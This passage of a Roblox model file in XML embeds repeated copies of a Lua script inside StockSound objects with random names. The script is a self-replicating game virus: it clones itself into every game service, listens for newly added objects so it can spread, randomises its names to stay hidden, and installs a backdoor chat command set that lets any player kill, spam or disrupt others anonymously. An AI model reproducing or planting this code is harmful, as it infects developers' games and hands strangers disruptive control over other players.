talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Humanoid" referent="RBX216">
					<Properties>
						<float name="Health">100</float>
						<bool name="Jump">false</bool>
						<float name="MaxHealth">100</float>
						<string name="Name">Humanoid</string>
						<bool name="Sit">false</bool>
						<bool name="Strafe">false</bool>
						<Vector3 name="TargetPoint">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="WalkDirection">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="WalkRotationalVelocity">0</float>
						<float name="WalkSpeed">16</float>
						<Ref name="WalkToPart">null</Ref>
						<Vector3 name="WalkToPoint">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX217">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">051ujej0</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX218">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">rh2wmr9n8</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX219">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">3h7lfva8t</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX220">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">ai5vfa</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
